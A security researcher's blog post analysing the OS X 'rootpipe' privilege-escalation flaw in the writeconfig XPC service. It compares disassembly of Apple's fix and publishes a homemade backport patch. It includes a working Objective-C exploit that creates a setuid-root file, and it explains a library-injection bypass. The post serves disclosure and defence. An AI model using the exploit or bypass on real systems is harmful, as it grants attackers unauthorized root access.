The rootpipe vulnerability was finally fully disclosed last week after a couple of months of expectation since its first announcement. It was disclosed as a hidden backdoor but it’s really something more related to access control and crap design than a backdoor. Although keep in mind that good backdoors should be hard to distinguish from simple errors. In this case there are a lot of services using this feature so it’s hardly a hidden backdoor that just sits there waiting for some evil purpose. Apple doesn’t have a stellar security record so the simple explanation has a good chance to prevail over the backdoor story.

Anyway that’s not what really matter for this post. The most important issue is that a fix was made available only for Yosemite 10.10.3. Every other OS X version is left vulnerable. While this is a local privilege escalation vulnerability there are many scenarios where it can be used (you don’t audit every single installer and software that runs on your Mac, do you?). It is extremely reliable and can be used in different ways other than just creating a suid binary. The vulnerability author wrote the following regarding this issue:

“Apple indicated that this issue required a substantial amount of changes on their side, and that they will not back port the fix to 10.9.x and older.”"

So essentially Apple refuses to patch this in all versions except the latest one because it’s apparently too much work. There is no official statement from Apple regarding the EOL (End of Life) status about all previous OS X versions so this course of action is quite strange. Even stranger when Apple backports some security patches to those older versions so they are implicitly not yet dead versions.

In this situation what can we do?

We can try to verify what is the real impact of Apple’s fix and call their bluff if we can prove that we are able to produce a fix without significant changes to the operating system. Challenge accepted!

Part 1 – The vulnerability

The core of this vulnerability resides in the writeconfig XPC service that is part of the SystemAdministration private framework. It is essentially an helper to keep privileged operations separated from the binaries that require those privileged operations. It contains an interesting method called createFileWithContents:path:attributes: that allows to create a file anywhere in the filesystem with whatever permissions we want. This is the method being exploited to create a suid binary that allows privilege escalation. We can also use it to create a launchd daemon, modify sudo configurations and so on. This XPC service contains other methods that could be useful for exploitation but this one is good enough. The following code snippet is the port to Objective-C of the original Python PoC:

int get_me_rootpipe ( const char * sourceFile) { Class hackClass = (Class)objc_lookUpClass( "WriteConfigClient" ); if (hackClass != nil) { if ([hackClass respondsToSelector: @ selector(sharedClient)]) { id sharedClient = [hackClass performSelector: @ selector(sharedClient)]; if (sharedClient != nil) { [sharedClient performSelector: @ selector(authenticateUsingAuthorizationSync:) withObject:nil]; id tool = [sharedClient performSelector: @ selector(remoteProxy)]; NSMutableDictionary * attr = [NSMutableDictionary new ]; [attr setValue:[NSNumber numberWithShort: 04777 ] forKey:NSFilePosixPermissions]; NSData * file = [[NSData alloc] initWithContentsOfFile:[NSString stringWithUTF8String:sourceFile]] ; /* use NSInvocation because we have more than 2 parameters for the selector */ SEL mySelector = NSSelectorFromString( @ "createFileWithContents:path:attributes:" ); NSInvocation * inv = [NSInvocation invocationWithMethodSignature:[tool methodSignatureForSelector:mySelector]]; [inv setSelector:mySelector]; [inv setTarget:tool]; /* the target where we want to invoke the method */ [inv setArgument: & amp;file atIndex: 2 ]; /* hardcoded value */ NSString * targetFile = @ "/tmp/suid_diagnostic_service" ; [inv setArgument: & amp;targetFile atIndex: 3 ]; [inv setArgument: & amp;attr atIndex: 4 ]; /* rootpipe everything! Thank you Apple once again :-) */ [inv invoke]; } } } return 0 ; }

The vulnerability author reports that this service appears to be used by System Preferences and systemsetup applications. This is true but there are also other binaries using this service. The core of this vulnerability is that there is no access control regarding which binaries can access this service. If a user can obtain the necessary connection to the XPC service he is able to call that method and do whatever he wants in the system. There is a second vulnerability in the way any user can obtain the necessary connection to the XPC service. If a nil object is passed to authenticateUsingAuthorizationSync: the connection will succeed and it is game over. This makes it possible for any user to connect to the service. This second vulnerability isn’t necessary in case the user as admin privileges, which is a valid scenario for many default installations.

Part 2 – Apple’s fix

The next step is to try to reverse the fix made in 10.10.3 release. We know that writeconfig is the vulnerable service so it is reasonable to expect most changes happening there. It is also reasonable to expect Apple to interpret this issue as an access control problem. If this is true there should be some kind of new access control mechanism implemented. The easiest option would be to bindiff the binary but I was too lazy to launch the Windows VM with bindiff and still haven’t tried to set up Diaphora in OS X. How are XPC services implemented? Apple’s documentation can be found here.

Essentially there is a main function implemented that creates and configures a listener object and a delegate class we must create. The delegate class must conform to the NSXPCListenerDelegate protocol. This protocol contains a single method listener:shouldAcceptNewConnection:, which accepts or rejects connections to the listener. Bingo, this is probably what we are looking after. Are there any differences between the 10.10.3 version and older ones?

10.10.1:

0000000100002133 ; char __cdecl -[WriteConfigDispatch listener:shouldAcceptNewConnection:](struct WriteConfigDispatch *self, SEL, id, id) 0000000100002133 __WriteConfigDispatch_listener_shouldAcceptNewConnection__ proc near 0000000100002133 ; DATA XREF: __objc_const:000000010001C7F8o 0000000100002133 0000000100002133 var_30 = qword ptr -30h 0000000100002133 0000000100002133 push rbp 0000000100002134 mov rbp, rsp 0000000100002137 push r15 0000000100002139 push r14 000000010000213B push r13 000000010000213D push r12 000000010000213F push rbx 0000000100002140 push rax 0000000100002141 mov r13, rcx 0000000100002144 mov r15, rdi 0000000100002147 mov r12, cs:selRef_setExportedObject_ 000000010000214E mov rdi, r13 0000000100002151 call cs:_objc_retain_ptr 0000000100002157 mov [rbp+var_30], rax 000000010000215B mov r14, cs:_objc_msgSend_ptr 0000000100002162 mov rdi, r13 0000000100002165 mov rsi, r12 0000000100002168 mov rdx, r15 000000010000216B call r14 ; _objc_msgSend 000000010000216E mov rdi, cs:classRef_NSXPCInterface 0000000100002175 mov rdx, cs:protocolRef_XPCWriteConfigProtocol 000000010000217C mov rsi, cs:selRef_interfaceWithProtocol_ 0000000100002183 call r14 ; _objc_msgSend 0000000100002186 mov rdi, rax 0000000100002189 call _objc_retainAutoreleasedReturnValue 000000010000218E mov rbx, rax 0000000100002191 mov rsi, cs:selRef_setExportedInterface_ 0000000100002198 mov rdi, r13 000000010000219B mov rdx, rbx 000000010000219E call r14 ; _objc_msgSend 00000001000021A1 mov r15, cs:_objc_release_ptr 00000001000021A8 mov rdi, rbx 00000001000021AB call r15 ; _objc_release 00000001000021AE mov rsi, cs:selRef_setInvalidationHandler_ 00000001000021B5 lea rdx, off_100019730 00000001000021BC mov rdi, r13 00000001000021BF call r14 ; _objc_msgSend 00000001000021C2 mov rsi, cs:selRef_resume 00000001000021C9 mov rdi, r13 00000001000021CC call r14 ; _objc_msgSend 00000001000021CF mov rdi, [rbp+var_30] 00000001000021D3 call r15 ; _objc_release 00000001000021D6 mov eax, 1 00000001000021DB add rsp, 8 00000001000021DF pop rbx 00000001000021E0 pop r12 00000001000021E2 pop r13 00000001000021E4 pop r14 00000001000021E6 pop r15 00000001000021E8 pop rbp 00000001000021E9 retn 00000001000021E9 __WriteConfigDispatch_listener_shouldAcceptNewConnection__ endp

10.10.3

0000000100001C71 ; WriteConfigDispatch - (char)listener:(id) shouldAcceptNewConnection:(id) 0000000100001C71 ; Attributes: bp-based frame 0000000100001C71 0000000100001C71 ; char __cdecl -[WriteConfigDispatch listener:shouldAcceptNewConnection:](struct WriteConfigDispatch *self, SEL, id, id) 0000000100001C71 __WriteConfigDispatch_listener_shouldAcceptNewConnection__ proc near 0000000100001C71 ; DATA XREF: __objc_const:000000010001C958o 0000000100001C71 0000000100001C71 var_490 = qword ptr -490h 0000000100001C71 var_488 = qword ptr -488h 0000000100001C71 var_480 = qword ptr -480h 0000000100001C71 var_478 = qword ptr -478h 0000000100001C71 var_470 = qword ptr -470h 0000000100001C71 var_468 = qword ptr -468h 0000000100001C71 var_460 = xmmword ptr -460h 0000000100001C71 var_450 = xmmword ptr -450h 0000000100001C71 buffer = byte ptr -440h 0000000100001C71 var_43F = byte ptr -43Fh 0000000100001C71 var_43E = byte ptr -43Eh 0000000100001C71 var_43D = byte ptr -43Dh 0000000100001C71 var_30 = qword ptr -30h 0000000100001C71 0000000100001C71 push rbp 0000000100001C72 mov rbp, rsp 0000000100001C75 push r15 0000000100001C77 push r14 0000000100001C79 push r13 0000000100001C7B push r12 0000000100001C7D push rbx 0000000100001C7E sub rsp, 468h 0000000100001C85 mov rbx, rcx 0000000100001C88 mov r15, rdi 0000000100001C8B mov rax, cs:___stack_chk_guard_ptr 0000000100001C92 mov rax, [rax] 0000000100001C95 mov [rbp+var_30], rax 0000000100001C99 mov r14, cs:_objc_retain_ptr 0000000100001CA0 mov rdi, rdx 0000000100001CA3 call r14 ; _objc_retain 0000000100001CA6 mov [rbp-470h], rax 0000000100001CAD mov rdi, rbx 0000000100001CB0 call r14 ; _objc_retain 0000000100001CB3 mov r12, rax 0000000100001CB6 test r12, r12 0000000100001CB9 jz short loc_100001CD3 0000000100001CBB mov rdx, cs:selRef_auditToken 0000000100001CC2 lea rdi, [rbp-460h] 0000000100001CC9 mov rsi, r12 0000000100001CCC call _objc_msgSend_stret 0000000100001CD1 jmp short loc_100001CE4 0000000100001CD3 ; --------------------------------------------------------------------------- 0000000100001CD3 0000000100001CD3 loc_100001CD3: ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+48j 0000000100001CD3 xorps xmm0, xmm0 0000000100001CD6 movaps [rbp+var_450], xmm0 0000000100001CDD movaps [rbp+var_460], xmm0 0000000100001CE4 0000000100001CE4 loc_100001CE4: ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+60j 0000000100001CE4 mov rax, qword ptr [rbp+var_450+8] 0000000100001CEB mov [rsp+490h+var_478], rax 0000000100001CF0 mov rax, qword ptr [rbp+var_450] 0000000100001CF7 mov [rsp+490h+var_480], rax 0000000100001CFC mov rax, qword ptr [rbp+var_460] 0000000100001D03 mov rcx, qword ptr [rbp+var_460+8] 0000000100001D0A mov [rsp+490h+var_488], rcx 0000000100001D0F mov [rsp+490h+var_490], rax 0000000100001D13 xor edi, edi 0000000100001D15 call _SecTaskCreateWithAuditToken 0000000100001D1A mov rbx, rax 0000000100001D1D test rbx, rbx 0000000100001D20 jz loc_100001E32 0000000100001D26 mov [rbp+var_468], 0 0000000100001D31 lea rsi, cfstr_Com_apple_priv ; "com.apple.private.admin.writeconfig" 0000000100001D38 lea rdx, [rbp+var_468] 0000000100001D3F mov rdi, rbx 0000000100001D42 call _SecTaskCopyValueForEntitlement 0000000100001D47 mov r13, rax 0000000100001D4A mov rsi, [rbp+var_468] 0000000100001D51 test rsi, rsi 0000000100001D54 jz short loc_100001D70 0000000100001D56 lea rdi, cfstr_UnableToGetEnt ; "### Unable to get entitlements for client task. Error: %@" 0000000100001D5D xor eax, eax 0000000100001D5F call _NSLog 0000000100001D64 mov rdi, [rbp+var_468] 0000000100001D6B call _CFRelease 0000000100001D70 0000000100001D70 loc_100001D70: ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+E3j 0000000100001D70 test r13, r13 0000000100001D73 jz loc_100001E4A 0000000100001D79 mov rdi, r13 0000000100001D7C call _CFGetTypeID 0000000100001D81 mov r14, rax 0000000100001D84 call _CFBooleanGetTypeID 0000000100001D89 cmp r14, rax 0000000100001D8C jnz loc_100001E42 0000000100001D92 mov rdi, r13 0000000100001D95 call _CFBooleanGetValue 0000000100001D9A mov r14b, al 0000000100001D9D mov rdi, r13 0000000100001DA0 call _CFRelease 0000000100001DA5 mov rdi, rbx 0000000100001DA8 call _CFRelease 0000000100001DAD test r14b, r14b 0000000100001DB0 jz loc_100001E52 0000000100001DB6 mov rsi, cs:selRef_setExportedObject_ 0000000100001DBD mov r14, cs:_objc_msgSend_ptr 0000000100001DC4 mov rdi, r12 0000000100001DC7 mov rdx, r15 0000000100001DCA call r14 ; _objc_msgSend 0000000100001DCD mov rdi, cs:classRef_NSXPCInterface 0000000100001DD4 mov rdx, cs:protocolRef_XPCWriteConfigProtocol 0000000100001DDB mov rsi, cs:selRef_interfaceWithProtocol_ 0000000100001DE2 call r14 ; _objc_msgSend 0000000100001DE5 mov rdi, rax 0000000100001DE8 call _objc_retainAutoreleasedReturnValue 0000000100001DED mov rbx, rax 0000000100001DF0 mov rsi, cs:selRef_setExportedInterface_ 0000000100001DF7 mov rdi, r12 0000000100001DFA mov rdx, rbx 0000000100001DFD call r14 ; _objc_msgSend 0000000100001E00 mov rdi, rbx ; _QWORD 0000000100001E03 call cs:_objc_release_ptr 0000000100001E09 mov rsi, cs:selRef_setInvalidationHandler_ 0000000100001E10 lea rdx, off_1000197C0 0000000100001E17 mov rdi, r12 0000000100001E1A call r14 ; _objc_msgSend 0000000100001E1D mov rsi, cs:selRef_resume 0000000100001E24 mov rdi, r12 0000000100001E27 call r14 ; _objc_msgSend 0000000100001E2A mov r14b, 1 0000000100001E2D jmp loc_100001F0D 0000000100001E32 ; --------------------------------------------------------------------------- 0000000100001E32 0000000100001E32 loc_100001E32: ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+AFj 0000000100001E32 lea rdi, cfstr_UnableToCreate ; "### Unable to create security task from audit token" 0000000100001E39 xor eax, eax 0000000100001E3B call _NSLog 0000000100001E40 jmp short loc_100001E52 0000000100001E42 ; --------------------------------------------------------------------------- 0000000100001E42 0000000100001E42 loc_100001E42: ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+11Bj 0000000100001E42 mov rdi, r13 0000000100001E45 call _CFRelease 0000000100001E4A 0000000100001E4A loc_100001E4A: ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+102j 0000000100001E4A mov rdi, rbx 0000000100001E4D call _CFRelease 0000000100001E52 0000000100001E52 loc_100001E52: ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+13Fj 0000000100001E52 ; -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+1CFj 0000000100001E52 mov rsi, cs:selRef_processIdentifier 0000000100001E59 mov rdi, r12 0000000100001E5C call cs:_objc_msgSend_ptr 0000000100001E62 lea rsi, [rbp+buffer] ; buffer 0000000100001E69 mov edx, 401h ; buffersize 0000000100001E6E mov edi, eax ; pid 0000000100001E70 call _proc_pidpath 0000000100001E75 lea ecx, [rax-1] 0000000100001E78 cmp ecx, 3FEh 0000000100001E7E ja short loc_100001ECC 0000000100001E80 cdqe 0000000100001E82 mov [rbp+rax+buffer], 0 0000000100001E8A mov rdi, cs:classRef_NSString 0000000100001E91 mov rsi, cs:selRef_stringWithUTF8String_ 0000000100001E98 lea rdx, [rbp+buffer] 0000000100001E9F call cs:_objc_msgSend_ptr 0000000100001EA5 mov rdi, rax 0000000100001EA8 call _objc_retainAutoreleasedReturnValue 0000000100001EAD mov rbx, rax 0000000100001EB0 lea rdi, cfstr_AccessDeniedFo ; "### Access denied for unentitled client %@" 0000000100001EB7 xor eax, eax 0000000100001EB9 mov rsi, rbx 0000000100001EBC call _NSLog 0000000100001EC1 mov rdi, rbx ; _QWORD 0000000100001EC4 call cs:_objc_release_ptr 0000000100001ECA jmp short loc_100001EF6 (...)

Yes, there are quite significant changes between the two versions. The old version doesn’t seem to do any kind of access control while the new version implements a new private entitlement called com.apple.private.admin.writeconfig. If the binary calling the XPC service does not contain this entitlement then it can’t connect anymore to the XPC. Let’s try to run the exploit code in 10.10.3:

Executing rootpiped diagnostic service... 2015-04-13 10:17:16.665 diagnostic_service [ 687:37692 ] ### syncProxyWithSemaphore error:Error Domain=NSCocoaErrorDomain Code=4097 "Couldn’t communicate with a helper application." (connection to service named com.apple.systemadministration.writeconfig) UserInfo=0x7f9ef8c0d2c0 {NSDebugDescription=connection to service named com.apple.systemadministration.writeconfig}

As expected our exploit code doesn’t have that private entitlement and can no longer connect to writeconfig XPC service.

If we grep a 10.10.3 system (or unpack the update pkg) for that entitlement we will find around 50 binaries that contain the new entitlement. This shows us how this XPC service is deeply integrated into OS X and probably why Apple doesn’t want to backport the fix to older OS X versions. For a hidden backdoor that’s a lot of work and services dependent on it.

Part 3 – Developing our own fix for older versions

To be honest I didn’t verify for any other major changes in SystemAdministration framework. The reason is that I think the new entitlement fixes the issue. Access is now restricted to Apple selected binaries with the new private entitlement. The vulnerable method to the nil object doesn’t appear to be modified (technically sending a nil object in Objective-C is valid).

Assuming that the entitlement and correspondent access control create a permanent fix, can we use the same concept to fix the issue in older versions without all the changes a new entitlement might require? Apple says no. I say yes, it is possible and it’s much easier than it might appear. It can be even easier if Apple does it because they can skip some of the intermediate steps my fix requires.

What we need is a way to (dynamically) introduce some kind of access control to writeconfig and limit the binaries that can connect to it. I mean dynamically because I guess that if we directly patch the binary we will break the code signature and it will stop working (I did not test this, just guessing!). Even if patching was possible it wouldn’t completely solve the problem as we will soon understand.

We need to add access control to the listener delegate that XPC services implement, listener:shouldAcceptNewConnection:. Being a Objective-C binary this is quite easy using swizzling. The idea is to inject a dynamic library into the process, swizzle the original method, implement access control in our own method, and call the original method if the binary passes our checks.

How can we implement the access control? The first idea was to use code signatures to verify if the binary is an Apple binary (because technically only Apple binaries should be allowed to connect). This sort of works because even if we code sign an exploit binary it will not pass the check because it’s not Apple’s certificate.

The problem of this approach is that it can be easily bypassed using the same trick as Google’s Santa. We just need to inject a library using DYLD_INSERT_LIBRARIES into any Apple signed process (/bin/ls for example) and call the exploit payload from the library.

Hardcoding the paths of all the allowed binaries still doesn’t solve this issue. We reduce the number of binaries that can be used but we can still call an authorized binary and inject the attacking library.

The solution is to block DYLD_INSERT_LIBRARIES injection into the authorized binaries. Is there any operating system support for this? Yes there is. dyld (the linker) is responsible for loading the library specified in DYLD_INSERT_LIBRARIES. It will ignore this and other environment variables if the process is considered restricted. In what conditions does it consider a process restricted?

If it has setuid or setgid bit set.

or bit set. If it contains a __RESTRICT segment (read this post for further info).

segment (read this post for further info). If it has entitlements.

For example in 10.10.3 we can’t use this trick to exploit the binaries that contain the new entitlement. Because they have entitlements dyld will clear the variable so we can’t piggyback on their entitlement from our injected library (that is really never injected into the process).

Once again, we don’t want to modify any binaries at disk so we need to do it dynamically. One possible solution would be to modify dyld on the fly and inject some code to mark the authorized processes as restricted. The easiest solution is to do this from a kernel extension and inject a new __RESTRICT segment into the authorized processes.

My proposed fix contains two components, a kernel extension and a dynamic library.

The kernel extension, Mario, is responsible for injecting the dynamic library into the writeconfig process (using the same technique as published in my Phrack article), and for injecting a __RESTRICT segment and __restrict section into all processes authorized to connect to the XPC service. The authorized processes list is hardcoded and was obtained by grep’ing all the binaries in Yosemite that have the new entitlement. Those who do not exist in Mavericks were removed from the list. A few processes might be missing from this list so this will require a bit of additional testing to gather all the binaries.

The kext is implemented as a TrustedBSD policy module (you know I love TrustedBSD, right?). It can be loaded as soon as possible in the system because it uses the com.apple. trick in the bundle identifier.

The dynamic library, Luigi, injected into the writeconfig XPC binary is responsible for accepting or denying the connection to the XPC service. It does this by verifying the path of the binary and its code signature. If not in the authorized path list or code signature is bad the connection will be denied. The information about the connecting process can be obtained from the newConnection parameter in the listener method. We can obtain the PID of the connecting process and then its associated path using proc_pidpath function. A log file is created in /tmp/rootpipe_fix_log, with all authorized and unauthorized connections to the XPC service.

Part 4 – Can Apple implement this fix?

Yes they can. And they don’t need a kernel extension at all. They need to modify the writeconfig code to do the same job as the dynamic library and dyld to restrict library injection in the authorized binaries. This requires a hardcoded list into dyld and writeconfig (or a plist somewhere that can be codesigned and verified both by writeconfig and dyld). It’s not a pretty fix but it should work and it’s way better than leaving a large userbase completely vulnerable to this bug.

Update: obviously I forgot to write this in the original post, but there’s no need to modify dyld since all the binaries just need to be recompiled with the extra __RESTRICT segment. The only one that requires a hardcoded list is writeconfig.

Part 5 – Conclusion

Hopefully I have convinced you that it is indeed possible to fix the rootpipe vulnerability in older versions without major OS X changes. It can also be applied to other versions with minor or no work at all. Apple’s response to this issue is not acceptable at all. There is no official end of life (EOL) statements from Apple regarding older OS X versions. If there is no such statement and Apple still releases some security patches for those versions then it’s perfectly reasonable to assume they are still supported and it’s a user choice to use them or not. Leaving users exposed to such dangerous vulnerabilities with fully working public exploits available is simply irresponsible. Let me remind you that iWorm botnet infected more than 17k hosts just by asking the users for admin privileges. How large do you think a botnet can be by exploiting this vulnerability to escalate privileges without any user intervention at all?

It’s not possible for Apple to not want to assume the potential costs and risks of declaring OS X versions EOL but also to not want to backport really important security fixes to older OS X versions because that implies “too much work” (where too much work is my personal interpretation of Apple’s answer regarding this). The 90s are over, learn a bit with Microsoft. Microsoft isn’t perfect but they learnt some lessons and improved a lot regarding security. We all would love to have users running all the latest versions of every piece of software. Reality is much different else there wouldn’t be a problem called Windows XP. Learn with other’s mistakes, they are cheaper.

Source code available at:

Mario – https://github.com/gdbinit/mario

Luigi – https://github.com/gdbinit/luigi

Feel free to send any bug reports or problems with this patch. Code might contain some bugs, large part of it was copy & pasted from older projects. This means it’s not production code but something to pressure Apple to fix the issue.

Have fun,

fG!

Update:

There is malware from 2014 that was already exploiting this vulnerability. Found by noar, the following sample contains the exploit code for both Mavericks and older versions. It uses the exploit to activate the Accessibility API. See, we don’t even need to wait for new malware, it was already being exploited in the wild. The malware sample is described by FireEye here, but they totally miss the zero day there. They just lightly describe the result but not the technique.